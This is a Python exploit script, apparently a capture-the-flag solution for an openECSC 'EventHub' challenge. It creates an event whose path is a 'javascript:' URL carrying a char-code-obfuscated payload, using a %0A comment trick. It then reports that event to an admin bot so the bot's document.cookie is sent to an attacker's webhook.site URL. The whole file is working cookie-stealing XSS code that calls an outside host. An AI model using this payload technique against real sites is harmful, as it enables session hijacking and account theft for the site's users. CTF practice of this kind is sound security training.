import argparse
import requests
from urllib.parse import urljoin


def to_char_codes(s: str) -> str:
    return ",".join(str(ord(c)) for c in s)


def build_js_payload(webhook_url: str) -> str:
    # Build: fetch(String.fromCharCode(<codes>).concat(encodeURIComponent(document.cookie)))
    base = webhook_url.rstrip("/") + "?c="
    codes = to_char_codes(base)
    return "%0afetch(String.fromCharCode(" + codes + ").concat(encodeURIComponent(document.cookie)))"


def create_event(base_url: str, js_payload_path: str, name: str = "x") -> int:
    url = urljoin(base_url, "/event")
    data = {
        "name": name,
        "protocol": "javascript",
        "domain": "x",  # domain is ignored for javascript: scheme due to comment trick
        # omit port entirely
        "path": js_payload_path,
    }
    r = requests.post(url, data=data, allow_redirects=False, timeout=20)
    if r.status_code not in (302, 303) or "Location" not in r.headers:
        raise RuntimeError(f"Unexpected response creating event: {r.status_code} {r.text[:200]}")
    loc = r.headers["Location"].rstrip("/")
    # Expect format /event/<id>
    try:
        event_id = int(loc.rsplit("/", 1)[-1])
    except Exception as e:
        raise RuntimeError(f"Could not parse event id from Location '{loc}': {e}")
    return event_id


def report_event(base_url: str, event_id: int) -> None:
    url = urljoin(base_url, "/report")
    reported = f"http://127.0.0.1/event/{event_id}?auto_redir=1"
    r = requests.post(url, data={"url": reported}, timeout=20)
    if r.status_code >= 400:
        raise RuntimeError(f"Unexpected response reporting event: {r.status_code} {r.text[:200]}")


def main():
    ap = argparse.ArgumentParser(description="openECSC EventHub exploit: exfil cookie via javascript: URL + %0A trick")
    ap.add_argument("--base", default="https://d39e950d-9543-4f14-a4e4-6550241c2fb5.openec.sc:1337", help="Challenge base URL")
    ap.add_argument("--webhook", required=True, help="Your webhook.site receive URL (e.g. https://webhook.site/<uuid>)")
    args = ap.parse_args()

    js_payload_path = build_js_payload(args.webhook)
    event_id = create_event(args.base, js_payload_path)
    print(f"[+] Created event id {event_id}")
    report_event(args.base, event_id)
    print("[+] Reported to admin. Wait a few seconds, then check your webhook for ?c=... with the flag.")


if __name__ == "__main__":
    main()

